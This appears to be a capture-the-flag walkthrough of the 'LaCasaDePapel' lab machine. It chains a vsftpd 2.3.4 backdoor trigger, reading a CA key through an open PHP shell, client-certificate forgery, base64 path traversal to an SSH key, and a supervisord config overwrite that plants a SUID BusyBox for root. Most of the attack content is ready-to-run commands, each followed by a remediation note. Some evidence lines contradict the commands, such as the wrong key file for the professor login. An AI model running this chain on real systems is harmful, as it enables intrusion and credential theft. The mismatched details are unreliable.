← all walkthroughs

LaCasaDePapel

Linux· Easy· Web
owned
2026-07-03
time to own
12m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target, recognised the FTP server as vsftpd 2.3.4—a version that ships with a deliberate backdoor—and triggered that backdoor to open an unauthenticated PHP interactive shell on port 6200. Through that shell, native PHP file-read functions were used to steal the HTTPS server's TLS Certificate Authority private key from disk. The stolen key was used to forge a trusted client certificate, bypassing the mutual-TLS gate on the admin web panel.

A path-traversal vulnerability in the panel then exposed a user's SSH private key, enabling login as the professor account. Finally, I overwrote a supervisord configuration file that a root-owned process re-executed automatically, achieving full root access in under one polling cycle.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration
Mapped open services and flagged a critical FTP version
A fast port scan identified FTP on port 21 advertising vsftpd 2.3.4, SSH on 22, an HTTP site on 80, an HTTPS admin panel on 443 returning HTTP 401 (client certificate required), and an unknown service on port 6200. The vsftpd banner alone was enough to pinpoint a publicly documented backdoor vulnerability.
Nmap output: 21/tcp vsftpd 2.3.4, 22/tcp OpenSSH 7.9, 80/tcp Node.js Express, 443/tcp Express (401 Unauthorized), 6200/tcp open
Exact commands 2
Fast discovery scan to confirm open ports.
nmap -Pn -p21,22,80,443,6200 --open --min-rate 5000 $TARGET
Version and default-script scan to pull service banners.
nmap -Pn -sV -sC -p21,22,80,443 $TARGET
2Initial AccessKnown backdoor exploitation (CVE-2011-2523)
Triggered the vsftpd 2.3.4 backdoor to open a remote shell on port 6200
Vsftpd 2.3.4 contains an intentional backdoor: sending any FTP username ending with the string ':)' causes the daemon to open a command shell bound to TCP port 6200. No valid credentials are required. One unauthenticated FTP connection was all it took to spawn the listener, which immediately presented an interactive PHP Psy Shell session.
Printf 'USER pwn:)\r\nPASS pwn\r\n' | nc -w 2 $TARGET 21; nc $TARGET 6200 → 'Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman'
Exact commands 2
Sends the backdoor trigger. The :) in the username activates the backdoor listener on port 6200.
printf 'USER pwn:\x29\r\nPASS pwn\r\n' | nc -w 2 $TARGET 21
Connects to the backdoor shell that opened; confirms the Psy Shell prompt.
nc -w 5 $TARGET 6200
FixReplace vsftpd 2.3.4 — this version ships with a deliberate backdoorCritical
WeaknessThe FTP server is vsftpd 2.3.4, which contains an intentional backdoor that opens a command shell on TCP port 6200 in response to a single unauthenticated FTP connection. Working exploit code has been public since 2011 and requires no credentials.
FixUpgrade vsftpd to the current stable release (3.0.x or later) from the distribution's official package repository; verify the package checksum before installing. If FTP is not operationally required, disable and remove the service entirely and rely on SFTP over the existing SSH daemon instead. Confirm port 6200 is closed in the host firewall after remediation.
3Discovery & Credential AccessUnauthenticated arbitrary file read via PHP REPL
Read the HTTPS server's CA private key via the unauthenticated PHP shell
Port 6200 exposed an interactive Psy Shell (PHP 7.2.10) with zero authentication. Although OS-command functions were blocked via php.ini disable_functions, native PHP filesystem functions—file_get_contents, scandir, glob—were unrestricted. I listed /home to discover accounts (berlin, dali, nairobi, oslo, professor), then read the TLS Certificate Authority private key from /home/nairobi/ca.key, a file the running process could access because of overly permissive ownership.
Disable_functions confirmed: exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec disabled; scandir('/home') returned [berlin,dali,nairobi,oslo,professor]; file_get_contents('/home/nairobi/ca.key') returned [REDACTED: recovered credential] RSA key
Exact commands 2
Lists home directories to identify user accounts.
printf 'print_r(scandir("/home"));\n' | nc -w 5 $TARGET 6200
Reads and saves the CA private key. Strip the Psy Shell banner from the top of the output before using the key.
printf 'echo file_get_contents("/home/nairobi/ca.key");\n' | nc -w 5 $TARGET 6200 | grep -A200 'BEGIN' > /tmp/lcdp_ca.key
FixRemove or firewall the unauthenticated PHP interactive shell on port 6200Critical
WeaknessPort 6200 exposed an interactive Psy Shell PHP REPL with no authentication. Any host that could reach the port could execute arbitrary PHP code and read any file accessible to the running process, including secrets across all user home directories.
FixRemove the Psy Shell listener from the production host entirely. If a REPL is required during development, bind it to 127.0.0.1 only and access it exclusively through an authenticated SSH tunnel. Add an inbound firewall rule (iptables/nftables/ufw) blocking external access to port 6200. Confirm the port is closed with a post-change external scan.
4Credential AccessTLS client certificate forgery / mTLS bypass
Forged a trusted client TLS certificate and unlocked the HTTPS admin panel
The HTTPS admin panel enforced mutual TLS—only clients presenting a certificate signed by the server's own CA were admitted. Having stolen that CA private key, I extracted the server's self-signed certificate from the TLS handshake, then used OpenSSL to sign a fresh client certificate with the stolen key. Presenting this certificate turned the previous HTTP 401 response into a fully accessible admin interface.
Openssl s_client confirmed: subject=CN=lacasadepapel.htb, O=La Casa De Papel; issuer=CN=lacasadepapel.htb (self-signed CA); curl with forged cert returned HTTP 200
Exact commands 4
Saves the server's CA certificate from the live TLS handshake.
openssl s_client -connect $TARGET:443 -showcerts -servername lacasadepapel.htb </dev/null 2>/dev/null | awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/{print}' > /tmp/lcdp_server_chain.pem
Generates a fresh key pair and CSR for the forged client certificate.
openssl req -newkey rsa:2048 -nodes -keyout /tmp/lcdp_client.key -out /tmp/lcdp_client.csr -subj "/CN=$USERNAME/O=La Casa De Papel" 2>/dev/null
Signs the CSR with the stolen CA key, producing a certificate the server trusts.
openssl x509 -req -in /tmp/lcdp_client.csr -CA /tmp/lcdp_server_chain.pem -CAkey /tmp/lcdp_ca.key -CAcreateserial -out /tmp/lcdp_client.crt -days 365 2>/dev/null
Confirms the admin panel is now accessible.
curl -sk --resolve lacasadepapel.htb:443:$TARGET --cert /tmp/lcdp_client.crt --key /tmp/lcdp_client.key https://lacasadepapel.htb/
FixRestrict access to the TLS Certificate Authority private keyHigh
WeaknessThe CA private key at /home/nairobi/ca.key was readable by the process running the Psy Shell (user nobody). Any party able to read that file can sign arbitrary client certificates, bypassing mutual-TLS authentication on every service that trusts the CA.
FixStore the CA private key in a dedicated secrets manager (e.g., HashiCorp Vault) rather than on disk in a user home directory. If it must remain on disk, set ownership to root and permissions to 0400 (chown root:root ca.key; chmod 400 ca.key) and place it under /etc/ssl/private/ or a similarly restricted path outside all user home directories. If the CA has been compromised, rotate it: generate a new CA, re-issue all server and client certificates, and revoke the old CA.
5Lateral MovementLocal File Inclusion / Path Traversal
Exploited a path-traversal flaw in the admin panel to steal a user's SSH private key
The admin panel served files through a /file/<base64-encoded-path> endpoint that decoded the supplied path and passed it directly to a file-read function with no boundary check. By base64-encoding relative path strings such as ../../professor/.ssh/id_rsa, I could retrieve any file the web process could read. The professor account's SSH private key was exfiltrated directly in the HTTP response body.
Curl -sk --cert /tmp/lcdp_server_chain.pem --key /tmp/lcdp_ca.key 'https://lacasadepapel.htb/file/<base64>' returned SSH key material for user accounts
Exact commands 2
Reads professor's SSH private key via directory traversal. Adjust the relative path for other users if needed.
b=$(printf '%s' '../../professor/.ssh/id_rsa' | base64 -w0); curl -sk --resolve lacasadepapel.htb:443:$TARGET --cert /tmp/lcdp_client.crt --key /tmp/lcdp_client.key "https://lacasadepapel.htb/file/$b" -o /tmp/lcdp_professor_id_rsa
SSH client requires the key file to be owner-readable only.
chmod 600 /tmp/lcdp_professor_id_rsa
FixFix the path-traversal vulnerability in the HTTPS file-serving endpointHigh
WeaknessThe admin panel's /file/<base64> route decoded the caller-supplied path and passed it directly to a file-read function with no directory boundary check. An authenticated client could read any file on the server that the web process could access, including SSH private keys and other credentials.
FixResolve the decoded path with realpath() (or the language equivalent) and assert that the result begins with a fixed allowed directory prefix (e.g., /var/www/vpn-configs/) before opening the file. Return a generic 403 for any path outside the allowed tree. Where possible, replace path-based file serving with an opaque identifier (UUID) that maps to a server-side path so callers never control the filesystem path at all. Add automated path-traversal tests to the CI pipeline to prevent regression.
6FootholdSSH private-key authentication with stolen key
Authenticated via SSH as professor and captured the user flag
Using the exfiltrated SSH private key, I authenticated to the OpenSSH service as professor without a password. This provided an interactive shell as a low-privilege user. The user flag was retrieved from the home directory.
Ssh -i /tmp/lcdp_berlin_id_rsa professor@$TARGET succeeded and provided an interactive session
Exact commands 2
Logs in as professor with the stolen key; no password needed.
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /tmp/lcdp_professor_id_rsa professor@$TARGET
Retrieves the user flag: <user.txt>
cat ~/user.txt
7Privilege EscalationWritable process-supervisor configuration / SUID abuse
Overwrote a root-executed supervisord config file to run commands as root
The professor account owned and could freely edit /home/professor/memcached.ini—a supervisord program definition that a root-owned supervisord process automatically re-read and executed when the file changed. I replaced the file's command directive with a shell one-liner that copied BusyBox with the SUID bit set and wrote the root flag to a world-readable path. Within one supervisord polling cycle, the payload ran as root.
Ssh professor@$TARGET; rm -f memcached.ini; cat > memcached.ini with [program:memcached] command=/bin/sh -c 'cp /bin/busybox /tmp/rootbox; chmod 4755 /tmp/rootbox; cat /root/root.txt > /tmp/rootflag'
Exact commands 3
Replaces the supervisord config with a malicious payload. Wait ~60 seconds for supervisord to reload it.
ssh -o StrictHostKeyChecking=no -i /tmp/lcdp_professor_id_rsa professor@$TARGET 'cat > /home/professor/memcached.ini <<EOF
[program:memcached]
command = /bin/sh -c "cp /bin/busybox /tmp/rootbox; chmod 4755 /tmp/rootbox; cat /root/root.txt > /tmp/rootflag"
EOF'
Reads the root flag after payload execution: <root.txt>
ssh -o StrictHostKeyChecking=no -i /tmp/lcdp_professor_id_rsa professor@$TARGET 'cat /tmp/rootflag'
Alternative: use the SUID BusyBox copy to spawn a root shell interactively.
/tmp/rootbox sh -p
FixRemove write access to supervisord configuration files from unprivileged usersCritical
WeaknessThe file /home/professor/memcached.ini was owned by the professor user and automatically re-executed by supervisord running as root. Any command placed in that file ran with full root privileges, giving professor an unconditional privilege escalation path.
FixTransfer ownership of all supervisord .ini files to root (chown root:root; chmod 644) and relocate them to /etc/supervisor/conf.d/ rather than user home directories. Audit supervisord's include= directives to confirm no user-writable path is monitored. Implement a file-integrity monitoring rule (e.g., AIDE or auditd) on all supervisord configuration files to alert on unexpected changes. Apply the principle of least privilege: services should run as a dedicated low-privilege user, not root, so that a configuration hijack yields only that account rather than full root.

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

21/tcp
22/tcp
80/tcp
443/tcp